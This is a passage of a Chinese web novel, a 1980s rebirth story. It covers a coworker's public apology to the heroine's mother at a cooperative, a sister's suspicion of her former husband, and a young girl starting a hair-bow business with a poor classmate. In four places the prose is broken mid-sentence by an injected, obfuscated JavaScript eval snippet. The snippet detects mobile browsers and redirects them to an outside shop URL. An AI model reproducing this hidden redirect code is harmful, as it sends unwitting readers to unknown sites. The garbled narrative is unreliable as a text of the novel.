“空口白牙就想拜师,蒋理想你怎么学抠门了?” 组里一片其乐融融的气氛,板着脸的冯腾飞格格不入,他本来就不是于闻仲组里的人,之前于闻仲看他努力,让他在这加班学东西,其他人也不好说什么。 但现在于闻仲既然已经明着拒绝了,其他人就没义务再照顾他了。 没人搭理他,冯腾飞面子上挂不住,灰溜溜的离开了。 这边,汪顺莲到达供销社,昨天晚上发生的事情几乎传遍了供销社,有几个关系比较好的同事都过来安慰她。 “你说这个王桂香,见了谁都是笑眯眯的,以前还以为她是个好的呢!没想到,居然能干出这种事!” 汪顺莲笑笑,并不答话。 现在最后的结果还没出来,她属于当事人,说什么都不合适。 正说着,周天青带着王家祥,两人进了主任办公室,随后,出纳小吴也被叫了进去。 整个供销社人心惶惶的,谁也不知道王桂香会不会再‘告’出其他人来。 汪顺莲找到老孙头,把半只鸡的钱给他,“那只鸡我留着给自己吃,半只鸡的钱还给你。” 老孙头不肯接钱,“钱你拿回去,当我给秀荷补身子了,她前几天不是病了吗?按理说,我该去看看。” 拿出去的钱,这么好再要回来,尤其是因为这个原因。 汪顺莲也明白,想到老孙头家里也不差这半只鸡,汪顺莲也没强行塞过去,“那我就替秀荷谢谢您了!” 汪顺莲毫无负担的继续工作,就好像昨天晚上被冤枉、被搜家的不是她。 几个女同志聚在一起咬舌头。 “以前看她柔柔弱弱的,没想到真遇到事情,居然这么能抗!” “就是!我还以为她会哭着上班呢!” “要是我,昨天发生这种事,我今天肯定不来了,你看她,一点儿都不影响工作,手多稳啊!” 汪顺莲马不停蹄的给客人称糖果,不管客人要多少糖,她都是一铲子。分门别类,包装纸一叠,绳子一系,漂漂亮亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315377|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给客人。 王桂香没来上班,不是她不想来,她还没从医院出院,就被周天青带到了审问犯人的小黑屋。 她一夜没睡,在床上翻来覆去的想着王家祥跟她说的话,周天青一问,她也没怎么反抗,竹筒倒豆子一般全都说了。 “就因为害怕?”周天青怎么想怎么不信。 王桂香哭的那叫一个惨! “我错了,我真知道错了!我跟汪姐道歉,我再也不敢了!” “行啦行啦!别哭了!”王家祥不耐烦的制止道,“干出这种事,还好意思哭呢?你知不知道因为你一念之差,耽误我们多少功夫?” “我是害怕!我没想到县里会来人,我还以为,县里顶多打个电话给余主任,让他查查这事。汪姐是老员工,就算犯了错也不会受到多大的惩罚,我没想到会碰见你们!” 王桂香一边哭一边叙述自己没想把汪顺莲怎么样。 审了一上午,翻来覆去就是这几句话。 王家祥把周天青拉到门外,问道,“你怎么想?” 周天青沉着脸没说话,反问道,“你怎么想?” “我觉得也就是她说的这样了!”王家祥狠狠吸了一口烟,审问最累人了,“她看见其他老员工分东西不带她,心里肯定不痛快。想讨好人,结果还捅出篓子。担心被查出来丢工作,干脆一不做二不休,污蔑汪顺莲!人吧!坏了点!但一个小姑娘自己在外面,也挺可怜的!” “你可怜她?”周天青没好气的斜了他一眼。 “你看你又这样!”王家祥不满的抱怨道,“我们又不是在开会,只不过是私下闲聊而已!过来查案,又是加班,又是连饭都吃不上的,你还这样,让我连话都不能说,真没意思!” “想休息,就赶紧把案子查清楚!”周天青没好气的说道,“员工分东西的事也得查一查!” “又上纲上线!”王家祥叹了口气,“哪里的供销社都这样,你自己卖肉还不能给自己挑一块好的了?有便宜肉还不能给自己留一块了?这叫员工福利!” 周天青不为所动。 “你账簿看出头绪了吗?”王家祥问道。 周天青摇摇头,“从账上看不出什么!” 低价的肉,卖了就是卖了,就算是把好的当成坏的,除非抓现行,否则,谁也找不到证据。 不过有一点,次等货就算卖,价格也没有低多少,所以,从这一点看,也不像公开贪污的样子。 “查吧!查吧!”王家祥吸完最后一口烟,把烟头扔到地上踩灭,“跟着你办事,就是有吃不完的苦!” 周天青准备大干一场,把供销社里里外外都查一遍。 然而,刚起一个头,县里就传来消息,让两人办完赶紧回去,处里还有其他的工作等着他们去办。 “什么案子啊?非得找你?”王家祥好奇道。 “找我?怎么不说是找你?”周天青心里觉得这个消息来的不对,可哪里不对,他也说不清楚。 “找我?”王家祥哈哈大笑,“怎么可能是找我?” 笑完,他问道,“这里的案子你准备怎么结?” 周天青没忍住,还是抽了一根烟,说道,“让王桂香当众道歉!给汪顺莲恢复名誉!至于‘员工福利’的事……算了,查也查不明白!” 12. 当众道歉! 汪顺莲兴高采烈的回到家,虽然提前就预料到了这个结果,但真正来到的那一刻,她还是抑制不住的兴奋。 当着全家人的面,她宣布道,“明天早上,大家都要去供销社门口,王桂香要在供销社当着所有人的面跟我道歉!” 终于来了! 这件事终于有了最终的定论。 王桂香犯错后,因为害怕,跟县里写信举报汪顺莲,同时,还试图在主任面前诬告汪顺莲,经过县经侦处的调查,现确认,王桂香是这次举报案、布匹案的主犯! 不过…… 举报信里确实有一部分涉及到供销社内部‘说不清’的地方,经侦处要求供销社以后注意。 念在王桂香年纪小,认错态度良好的份上,暂时保留她的工作,让她当着众人的面给汪顺莲道歉,工资降成最低档,如果再有下次,立刻开除。 供销社早上开门前,门口已经排上了长长的队伍。 这年头,物资短缺,想买到最好的,就得提前去排队。 不过,今天的供销社好像有点不一样,还没到开门时间,售货员就把门打开了。 排队的客人正准备往里进,被拦下。 “现在还不营业,开门是因为王桂香要向汪顺莲同志道歉,请大家做个见证!” 正在排队的人开始窃窃私语,大部分人并不知道王桂香是谁,只对汪顺莲的名字有点熟悉。 “汪顺莲是不是就是那个有名的汪一铲?” “是啊!不过,王桂香是谁啊?她为什么要向汪一铲道歉?” ‘布票’事件已经过去几天了,天底下没有不透风的墙,更何况,当时闹的那么大,知道内情的人迫不及待的跟周围的人解释…… 王桂香工作出错,害怕……就把责任推到汪顺莲身上,说她贪污公家财产…… 哦!原来还有这么一回事! 八卦一向传播的很快,没一会儿,围在供销社门前的人几乎都知道了其中的隐情。 于秀荷和于秀雅来到供销社的时候,门口被围观的人挤得水泄不通! “都看不见了!”于秀荷有点后悔,早知道来早点了。 于秀雅个子高,虽然是站在后面,但垫垫脚也能看见。 “用不用我抱你?”于秀雅问道。 “不用!”于秀荷四处看了一圈,瞄准后面的石墩子,虽然离得有点远了,但站在上面刚好可以看见供销社里的情形。 反正也不需要看清王桂香脸上长了几颗痘痘,她只需要听见王桂香的道歉就好了。 “我去后面石墩子上看!”说完,两三步跳到了石墩子上。 站上来才发现,这里的视野真的是很好,不仅能看清供销社里的情景,还能看清门口围观的人。 王桂香的道歉开始了,先是余主任上前,简单说了事情的起因,强调了个人要敢于认错,敢于承担的责任感,接着对汪顺莲被冤枉表达了同情,最后开始批评王桂香。 “……犯了错,胆怯懦弱也就算了,居然为了把责任推到别人身上不折手段,在此要对其进行严肃的批评!不过,年轻的同志犯了错,看在她积极认错的份上,我们也要给她改正的机会! 现在,改正要从‘道歉’开始! 请王桂香当众向汪顺莲道歉!” 余主任下去之后,王桂香低着头,拿着道歉稿走到了供销社中间。 “我……我叫王桂香……” 才开始说第一句,王桂香就开始哭! 太屈辱了,当着这么多人的面,承认自己的错误,简直是屈辱了! 于秀荷站在石墩子上,把这一切都看在了眼里。 “那边干什么呢?”有个个子高高的,戴着眼镜,脖子上挂着一个相机的男人朝旁边的人问道。 “这是供销社,应该是买东西吧!” 他们显然不知道这里发生了什么,随手拽了一个路人询问,两三分钟后就搞清楚了事情的经过。 “这可算个大新闻!” 高个子男人举起相机想拍一张,被旁边的男人拦住。 “别闹了,你这一张照片拍下去,就可能把这个女孩的一辈子钉在耻辱柱上!”说话的男人很严肃。 “行行行,我知道了。”拿相机的男人不耐烦的回应道。 王桂香一字一句的念着道歉稿子,她的稿子是余得有审核过的,把整个犯错的过程描述的相当清晰,就跟说故事一样,围观的人都听入迷了。 可就在这里,人群里,一个男人低着头从内圈挤了出来,一只手压着帽子,一只手扶着围巾,如同逃跑一样离开人群。 于秀荷站在石墩子上,目睹了男人离开的全过程。 她只看到了男人的小半张脸,仅凭这小半张脸,很难把人认出来,可偏偏……这人上辈子是于秀雅的老公…… 那个人面兽心的渣男! 他来这不奇怪,可听了一小半就跑,这很奇怪!更怪的是,离开就离开,怎么走的那么猥琐?看着就像是干了坏事一样! “喂!小姑娘,能给我让点位置吗?”拿相机的男人不知道什么时候跑到了于秀荷面前,问道,“我想站在上面拍个照!” “拍谁?” 王桂香的道歉信已经读完了,现在是余主任正在替汪顺莲澄清谣言,供销社中央就站了他们两个人。 “我拍一下汪一铲!”拿相机的男人没有因为于秀荷是个小孩就强行把她推下去,解释道,“汪一铲是个典型人物,我要写一篇文章夸夸她。” 夸? 于秀荷意识到,眼前的这个人似乎是个记者。 于秀荷往后退了退,给男人留出拍照的位置。 “你是哪里的记者啊?叫什么名字?能告诉我吗?”于秀荷问道。 男人误以为自己拿相机的姿势很帅,连还没长大的小姑娘都迷住了,很自豪的介绍自己,说道,“我是京城晚报的记者,我叫储扬!” “哦!”于秀荷点点头表示知道了。 “小姑娘,不用羡慕我。等你长大了,考上大学,说不定能成为我的同事呢!到时候,哥哥教你拍照!”储扬自以为很帅的说道。 于秀荷翻了个白眼,说道,“敢写我妈的坏话,我写信到你单位举报你!” 说完,从石墩子上跳下去,走到于秀雅的身边。 她记得于秀雅的渣男老公还跟她做过一段时间的同学来着,得把刚才的事情跟她姐说一下。 储扬看着于秀荷跳下石墩子,惊讶的嘴巴都张成了圆形! “你……你妈啊! 早说啊!我还以为你崇拜我呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315378|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 认认真真拍下一张照片,拍的很不错,至少不是会被人举报的水准,行了,该回去写稿子了,这次得好好写,不然说不定就被人举报了! 于秀荷走到于秀雅身边时,供销社里的讲话已经说完了。 供销社正式营业,周围的人立刻开始往里面挤。 “我们该去上学了!”于秀雅拉着于秀荷往外走。 “姐,我刚才看见王飞龙了!”于秀荷小声说道。 周围吵吵嚷嚷的,于秀雅没听清,等到两人从人群里走出来,于秀雅低着头问道,“你刚才说什么?” “我刚才看见王飞龙了!”于秀荷又说了一遍。 再次听到那个名字,于秀雅脸色变了,不过只是几秒钟,她就调整好了自己的情绪,“提他干什么?反正这辈子不会再跟他有交集!” “我觉得他不对劲!”于秀荷担心于秀雅再次受到伤害,那个人面兽心的男人,表面一套,背地一套,如果不是于秀雅怀孕,他恐怕会装的更久,一边哄老婆,一边让亲妈欺负人,两处占便宜,“我觉得他似乎认识王桂香!” “他认识王桂香?”于秀雅闻言皱起眉头。 这怎么可能呢? 王飞龙是本地人,他父亲跟于闻仲一个厂,虽然两家没有什么亲戚关系,但也是见了面能点头打个招呼的程度,对于他家,于家不说知根知底,但也不是两眼一摸瞎。 王桂香是外乡人,虽然不知道是怎么被调到江城供销社的,但可以确定的一点是,她在江城没有熟人。 如果有,来了小半年了,还能不去拜见?还能不让别人知道一点消息? 这两个人……怎么可能认识呢? “我也不能确定,但我看着像!”不管是不是,有个防人之心终究是好的。 “先去学校吧!”于秀雅牵着于秀荷的手往前走。 上辈子那段婚姻,虽说是当时的无奈之举,但是,王飞龙在婚前对于秀雅可谓是百依百顺,不然,长相姣好的于秀雅也不会选择他。 结婚后,王飞龙的态度便发生了转变,一言不合就动手,事后又是下跪,又是痛哭流涕,搞得于秀雅不知道该怎么办才好。 汪顺莲为了给她凑一份像样的嫁妆劳累过度,猝死在缝纫机上,秀荷当时还在上学,她也没法离婚,只能忍着过了下去。 如果他只是个渣男,这辈子,于秀雅离他远远的就是。可如果他跟王桂香认识…… 想起上辈子,他醉酒后曾胡言乱语,说什么‘知不知道我想你想了多久?’‘知不知道我为了娶你花了多少心思?’! 于秀雅对他那幅醉态很是厌恶,往往不等他说完,就拿冷水给他洗脸,让他尽快闭嘴。 当时听到那些话也没多想,只以为他说的是追于秀雅时送的礼物、花的时间等等! 可现在想想……那些东西也不值什么钱,有必要记这么久吗? 于家虽然困难,但也绝对不会让女儿拿男人的东西回来补贴家里,于秀雅从没有收过王飞龙的贵重礼物,一次两次之后,王飞龙明白了,也就不送了。 王飞龙他爸也是八级工,家里就他一个孩子,不至于那点钱记这么久吧? 唯一的可能是,他说的那些‘心思’和‘时间’,指的不是追于秀雅时的付出,而是…… 13. 旧友! 于秀雅来到学校,王飞龙迎面走来,极其自然的打招呼道,“秀雅,今天怎么来这么晚啊?” “有点事耽误了!”于秀雅面上不显,带着微笑回应道。 两人其实并不是一个班的,只是认识,就自然而然的熟悉了起来,见面也会打个招呼,当然,大多数都是王飞龙主动。 “下次你们班出去玩,记得叫上我啊!”王飞龙不像往日那般热情,说完就急匆匆离开。 如果不是于秀荷提醒于秀雅,她根本不会注意这些,而一旦开始注意,那些隐秘的、很容易被人忽视的小细节全都暴露了出来。 不是去供销社看见王桂香道歉了吗? 按照以前的性格,最起码也该跑过来安慰两句吧? 像什么‘秀雅,别伤心了!王桂香这种人,迟早会遭到报应的’‘你妈妈那么好的人,怎么可能贪污公家财产,一看就知道是被冤枉的!’,这种类型的话,王飞龙说了不止一百两百遍了,这次怎么哑巴了? 于秀雅转身走回教室,刚坐到位置上,魏玉华就贴了过来,“秀雅,你让我帮忙打听的事,我打听清楚了!” “真的?” 于秀雅记得那个戏曲家是住在魏玉华家附近。 魏玉华在那块地方住了有十几年了,对那边很熟悉,她就拜托魏玉华打听了一下,约定好,只要能打听到具体的位置,她就会给魏玉华一个红色的花朵发卡。 那是汪顺莲在供销社买到的紧俏货! 在当前这个年代,这个看起来笨笨的,有点古朴的发卡可是稀罕物,尤其戴在于秀雅的头上,格外好看,几乎所有的女生都想要一个。 “给你!”于秀雅从头上取下发卡,交给魏玉华。 魏玉华把发卡拿到手里,忽然就有些不好意思了。其实她也没干什么啊,只是四处打听了一下,跑跑腿而已,就这样就得到这个发卡,真的让她有点心虚。 “你真给我啊?” 于秀雅点点头,“我说出口的,当然会做到了。” “可是……”这个发卡有点贵,魏玉华之前闹着让她妈妈买的时候,就被妈妈训斥过,这么贵的东西,于秀雅就这么随随便便送给她,也许会被骂的,于是,她想了想,说道,“我不要你的,就戴几天,再还给你,免得你妈妈知道你给了别人,回去骂你!” “不会的!”汪顺莲才不会管于秀雅把发卡送给谁呢,“你帮了我,发卡是谢礼,你快拿着吧!” “那我可真拿着了!”魏玉华对发卡爱不释手。 “对了,你打听那个唱戏的干什么?”魏玉华不明白,“她挺孤僻的,我妈说她自从回来之后,就不怎么出门!” “我想找她帮个忙!”于秀雅并没有说帮什么忙,魏玉华也不是那么没有眼色的人,见于秀雅没有主动说的意思,便不问了,只担心于秀雅找不到路,“你什么时候去,我给你带路,省的你找不到地方。” 于秀雅已经开始为将来的出路打算了,于秀荷却只能坐在教室里,听着枯燥无聊的课程。 咣当一声,门被推开。 班主任老马拍着桌子大骂,“都几点了?怎么才来?” 推门进来的是一个男生,沈立春,经常迟到早退的,老马对他颇为不满。 大家都觉得他是个刺头,也不怎么跟他玩,渐渐的,整个班级都开始孤立他。 不过,于秀荷知道他为什么迟到。 沈立春的父母在几年前过世了,家里只剩下他和年迈的奶奶,这些年,沈立春是被奶奶养大的。 一个老年人,没什么吃饭的手艺,却要养活一个男孩子,所幸,家里有台缝纫机,他奶奶便带着缝纫机到街上摆摊,给人缝补衣物。 周围的人多多少少知道他家的情况,自己有了衣物需要缝补,都会拿到沈奶奶那里,一来省了自己的时间,二来也算给他们帮把手。 就这样,也算是把沈立春养大了。 可是,沈奶奶的年纪越来越大,缝纫机又那么重,即使有三轮车帮忙,把缝纫机搬过去也要费不少事。 可没有缝纫机,不能当场补完,客人多半会选择回家自己补。没有这些人的生意,只靠老客,怎么养活的了沈立春? 更何况,她都不知道自己还能有多少时间好活,一心只想着给沈立春攒点钱,就算她走了,沈立春不至于饿死。 就算费事,沈奶奶也坚决要把缝纫机搬出去。 沈立春刺头的性格只是表象,其实是个孝顺的好孩子,他每天迟到是因为要帮奶奶把缝纫机搬到街上,再把三轮车推回家。早退也是要回去帮奶奶收摊。 本来,这事跟老马一说,老马肯定不会再骂他,还有可能会当众表扬他,可少年时期正是要面子的时候,沈立春宁愿被别人当作刺头,也不愿意别人‘观赏’自己的囧境。 于秀荷之所以知道的这么清楚,是因为沈奶奶帮过她们。 汪顺莲被供销社开除之后,名声坏了,找工作根本就找不着。 受了那样的委屈,又处处遭人白眼,汪顺莲几乎抑郁,家里人苦劝,都解不开她的心结,后来,是沈奶奶偶然之下开导她。 “再不济也能跟我一样,靠缝纫机挣钱!” 汪顺莲一想也是,家里的缝纫机除了给自家人做做衣服,还没有其他用处呢! 她的手工一流,于秀雅和于秀荷的好多衣服都是她照着最时兴的样子改的,旧衣服也能穿出新衣服的样子,以前被人夸过很多次,还有人专门跟她请教。 从那以后,汪顺莲就把自己的缝纫机摆到沈奶奶旁边。 沈奶奶接给人缝补的活,汪顺莲接给人改款式的活。 于秀荷经常去汪顺莲的缝纫机旁帮忙,一来二去,就跟沈立春熟悉了。 不过,沈奶奶没活几年就走了。 她走之后,沈立春把家里的东西都卖了,凑了一笔钱北上,最后听说跟人闹矛盾,把别人打伤,蹲了牢房。 沈奶奶是个好人,沈立春也帮于秀荷打跑过讥讽汪顺莲的人。 既然重生了,于秀荷也想帮帮他们。 下课之后,于秀荷去了老马的办公室,老马正在里面跟人吹牛,看见于秀荷进来,连忙摆出老师的谱,“秀荷,找我有事啊?” “马老师,我想跟你私下聊聊!” “私下聊聊?”老马挺好奇。 于秀荷一直是个乖孩子,虽然学习上不怎么用功,但是也不闹事,布置的作业,该写的也都写完了。 怎么说呢?就是一个普通的乖孩子。 他挺好奇,这个普通乖孩子到底有什么事需要跟他私下聊聊? “行啊!”老马拿上自己的茶杯,说道,“我刚好也想出去遛遛!” 两人出了办公室就朝外走,走到一处没人的树荫下,于秀荷说道,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318328|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想跟你聊聊沈立春的事!” “他?”老马立刻竖起眉头,“他招你了?” 臭小子祸害小姑娘的事情,老马见的多了,可他绝不允许自己的班级里发生这种事。 “不是,我是说他迟到早退的事!”于秀荷把沈立春迟到早退的原因一五一十讲清楚,说道,“他的作业都有写,上课虽然趴在桌子上,但也在听课。” “这是他跟你说的?”老马一点都不相信,那个人高马大的沈立春竟然是个父母双亡的孤儿! “他奶奶就在街上给人做缝补,你要是不相信,可以自己过去看看!”于秀荷之所以来告诉老马这些,是不想他放弃沈立春。 以沈立春的资质,高中和中专,他都能考上,不管去哪个,至少有一条路可以走,不用背井离乡北上,最后被人欺负,还蹲了监狱。 “你怎么知道的这么清楚?”老马半信半疑的问道。 “我见过他奶奶!”于秀荷随口糊弄过去。 “行吧!我知道了!”老马打开茶杯,喝了一口茶,心想,他得找个机会过去看看。 “还有一条,马老师,你能保密吗?沈立春不想别人知道这些事!”于秀荷请求道。 “知道了知道了!”老马有些不满,“你们这些小孩,不知道哪来这么大的自尊,这也不好意思,那也不好意思,以后能干什么?” 虽然老马嘟嘟囔囔的走了,但于秀荷知道他会保密的。 在对待学生方面,老马可比以后的教师负责多了。 晚上回到家,于秀荷本想跟汪顺莲说说沈立春的事,刚进门就看见汪顺莲把家里的旧衣服都找出来,包成一小包,正要往外走。 “妈,你去哪?”于秀莲问道。 “去沈奶奶家!”汪顺莲今天算是彻彻底底的恢复了名誉,她心里的石头放了下来,以前的那些事真正成了前尘往事。 “你要把这些都交给沈奶奶,让她缝补吗?” 怕不是有点多哦! 里面甚至还有她和姐姐小时候的衣服,都没人穿了,还拿去缝补干什么? “现在我们还不熟,就是想帮忙也没法帮啊!”汪顺莲很感谢沈奶奶,要不是她,汪顺莲上辈子或许会一直抑郁下去。 “我跟你一起去吧!” 两人趁着天还没有全黑,提着小包袱走到沈奶奶家。 “家里有人吗?” 门还是锁着的。 “是不是还没回来?”于秀荷刚说完,就听见身后传来三轮车在地上打转的声音,两人回头,沈立春推着三轮车从小巷子拐进来,三轮车的后斗里坐在缝纫机和沈奶奶。 看见于秀荷,沈立春有些不自然,下意识把脸转了过去。 “是要缝补吗?”沈奶奶热情的问道。 “是啊!” 两人等沈立春把沈奶奶扶下车,把包袱递了上去。 现在天已经有点黑了,沈奶奶进屋点起油灯,开始数包袱里有几件衣服。 收费是按照件数来的,一件五分钱。 “你这有十三件呢,我给你抹一件,你就给我六毛吧!”沈奶奶笑呵呵的说道。 “那哪行啊?你这挣的是辛苦钱!” 汪顺莲跟沈奶奶商量的间隙,于秀荷走到门外,沈立春正在搬缝纫机。 “你有没有兴趣跟我做个生意?”于秀荷走到沈立春面前,问道。 14. 生意! 沈立春爱搭不理的,对于秀荷提出的建议也不怎么感冒,整一个高冷形象。 于秀荷知道他这是害羞了,用高冷隐藏自己。 便继续追问道,“你听见我说的话了吗?” 沈立春这次回复道,“没兴趣!” “我说做什么生意了吗?你就没兴趣!”于秀荷颇为无奈。 沈立春没说话,手里的活没停,轻手轻脚的把缝纫机从三轮车上搬下来。 虽然于秀荷没说做什么生意,但沈立春明白,做生意,一需要本钱,二需要一技之长,这两样没有哪个,都不可能把生意做好! 没有本钱,生意根本做不起来;没有一技之长,靠什么来赚钱?大家都不是傻子,迟早会亏本,然后关门。 沈立春没钱,他穷的叮当响。 一技之长他也没有,除了跟着沈奶奶学了点缝纫机的技术,他在社会上几乎是个睁眼瞎。 “你说话啊!”于秀荷再次无奈开口。 没跟沈立春混熟之前,跟他沟通可真费劲! “我没本事跟别人一起做生意,你找别人吧!”沈立春依旧是冷漠拒绝。 “不行!”于秀荷干脆直接拦住他,“这生意我只跟你做!” 于秀荷的彪悍样子惊到了沈立春,在他的印象里,于秀荷一直是一个白白的,微胖微胖的,被家里惯的有点骄纵的文静女孩。 于秀荷推开沈立春搭在缝纫机上的手,从沈奶奶的碎布料子里找出一块鲜亮的,拿起剪刀,几下就剪成方形。 “别在这挡着我!”于秀荷让沈立春让开。 现在虽然是八十年代,但县城里早就通电了,于家的屋子里用的就是电灯,可沈家却还在使用煤油灯。 煤油灯的光不怎么亮,沈立春人高马大的,往前一站,什么都看不见了。 沈立春下意识往旁边走了几步,光线亮多了,于秀荷把布料放在缝纫机下,捏出几个褶皱,用缝纫机压出一条线。 光线还是不太行,于秀荷下意识朝缝纫机的针头下凑,啪嗒一声,沈立春打开了电灯,周围瞬间亮了起来。 “你家原来通电了啊?” 于秀荷简直想骂人,通电了不开灯,害她在这伸着头做蝴蝶结。 光线充足,于秀荷也没想干多么精细的活,三下五除二就做好了一个简易版的蝴蝶结。 一个不够,她另挑一块布,捏出差不多的褶皱,缝纫机稍微踩了几下,另一个蝴蝶结也出现了。 两个蝴蝶结叠放在一起,瞬间,一个普普通通的蝴蝶结发卡变成了一个让人眼前一亮的新品。 于秀荷从碎布里挑了一条白色的布条,在两个蝴蝶结中间绕了一圈,潦草的绑成一个结。 “看见了吗?”于秀荷把简易的成品放到沈立春面前晃了晃,“这种蝴蝶结你在供销社见过吗?” 沈立春摇摇头。 “没见过就对了!”于秀荷大言不惭的说道,“这是我自己想出来的,原创!” 有点不要脸了! 虽然这种蝴蝶结在江城确实没出现过,但于秀荷并不保证没在其他城市出现,或许,在发达些的城市里,比这个更漂亮、造型更独特的蝴蝶结已经放在货架上任人挑选了。 不过,她只是想做点小生意,攒点启动资金而已。 况且,她知道的蝴蝶结也不只有这一种,带飘带的,带蕾丝的,缝上珠子的……不仅蝴蝶结,用布叠成玫瑰花,郁金香,加上一根小发夹就能成为热销的头饰。 用点好料子,做的精细点,卖个五毛钱不成问题。 于秀荷早上刚看过汪顺莲在供销社给她买的‘昂贵’的发卡,看着土,戴着也土,却能卖到一块五,还供不应求! 这年头发卡这东西还不普遍,有钱人也愿意为这种东西买单,毕竟,自家闺女带出去会被别人羡慕,就像后来出现的‘品牌效应’! 品牌不是一时半会能做出来的,于秀荷也没想做品牌,她只想趁着过年,做点出去卖。 过年了,家里有闺女的,就算平时不舍得,这时候也会花点钱买礼物。 比供销社漂亮,还比供销社便宜的发卡肯定很好卖! “我出创意和料子,你出技术和体力,做出一批,我们出去到街上卖。”于秀荷大气的说道,“卖来的钱,扣除布料的成本,剩下的我们五五分!” 五五……吗? “你想想,全程你不用出钱,只需要出技术和力气,卖出去就能拿到利润的一半,不心动吗?”于秀荷循循善诱,“还想什么啊?我要是你,我立马点头答应!这么好的生意,我是看在沈奶奶人好的份上才来找你合作的。要不是怕别人泄露我的创意,你以为这么好的事情会落到你头上?” 于秀荷积极的引导沈立春,希望他没有注意到,在于秀荷的提议里,她除了创意和钱,其他的什么都不干,做蝴蝶结的累活,出去卖的‘脏活’,几乎都要沈立春包圆。 就算如此,他只拿五成…… “我……”沈立春动心了。 他一直想分担沈奶奶的压力,可除了一把子力气,什么都干不了。他年纪小,还在上学,稍微正式点,能赚到钱的活,几乎不会考虑他。 如果真的像于秀荷所说,他只需要出技术和力气,别说五成,就是只给他三成、不、两成,他也愿意干! 只不过…… “支支吾吾的,你到底愿不愿意啊?”于秀荷的耐心快被磨没了,“你不愿意我可找别人了啊?” 从背后踹他一脚算了,磨磨唧唧的。 “我愿意!”沈立春慌忙回答道。 他可不想错失这个挣钱的机会。 可回答之后,他又有些不好意思,似乎太急切了,“那个……我……”他轻轻咳了两声,说道,“我只出技术和力气,风险都在你那,利润五五分不太合适。这样吧,你拿六份,我拿四份,怎么样?” 这……这还有上赶着送钱的啊? 于秀荷哪有不同意的道理? “行啊!”于秀荷把手里的蝴蝶结交给沈立春,叮嘱道,“你今天晚上,把这个蝴蝶结怎么做的搞清楚,我这个做的简陋,要是拿出去卖,肯定没人买,我们得先把布折好,把好看的花纹露出来,两个蝴蝶结要一大一小,用来连接两个蝴蝶结的绳子也得熨平,方方正正的绑在中间,做的好看了,拿出去才有人买!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322466|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈立春听的很认真! “收好了,我明天晚上过来,到时候你有什么不懂的再问我吧!” 汪顺莲已经跟沈奶奶说完了,于秀荷便匆匆甩下一句话,跟着汪顺莲一起离开。 沈立春手里拿着蝴蝶结,呆呆的看着于秀荷离开的背影,蝴蝶结像烧红的烙铁一样热,手心不停的冒汗,快把蝴蝶结汗湿了。 “立春,把灯灭了吧,费电!”沈奶奶在屋子里喊道。 “知道了,奶奶!”沈立春回神,把蝴蝶结收好,关掉电灯,继续把搬了一半的缝纫机往屋子里搬。 于秀荷跟着汪顺莲一起回到家,于闻仲已经在做饭了,案板上还摆着一块肉。 “有什么好事吗?”汪顺莲笑着问道,“值得买一块肉来庆祝?” “回来啦?”于闻仲笑了笑,说道,“是好事,但还没有板上钉钉。” 于闻仲今天被厂长喊过去,问他最近是不是家里有困难,因为他连续好些天都没在厂里加班了。 对其他人来说很正常,但对以厂为家的于闻仲来说,太不正常了,除了家里出了事,似乎没有其他理由。 “之前确实是因为秀荷生病,不过,主要是因为我年纪大了,身体跟不上了!”于闻仲敷衍道。 “有没有去医院检查过?”厂长付文华很关心。 于闻仲做为八级工,厂里一些高难度的工作都是交给他的,除了他和其他几个八级工,那些活几乎没人能做,而乐于为厂里奉献,又甘愿加班的于闻仲总是那些活的第一人选。 “我身体没事!”于闻仲对厂长付文华表示感谢,“就是想休息休息!” “休息休息也是对的!”付文华也没法不让人休息啊,毕竟人家自己的工作也没耽误,只是没有加班而已,“我找你来还有另外一件事!” “又有新活吗?”于闻仲问道,“为厂里解决困难是义不容辞的,有什么活您放心交给我吧,我保证完成任务!” 不干那些没用的脏活、累活后,于闻仲反而更有精力去攻克更加精细的活了。 他每天都盼望着有值得他挑战的工作出现。 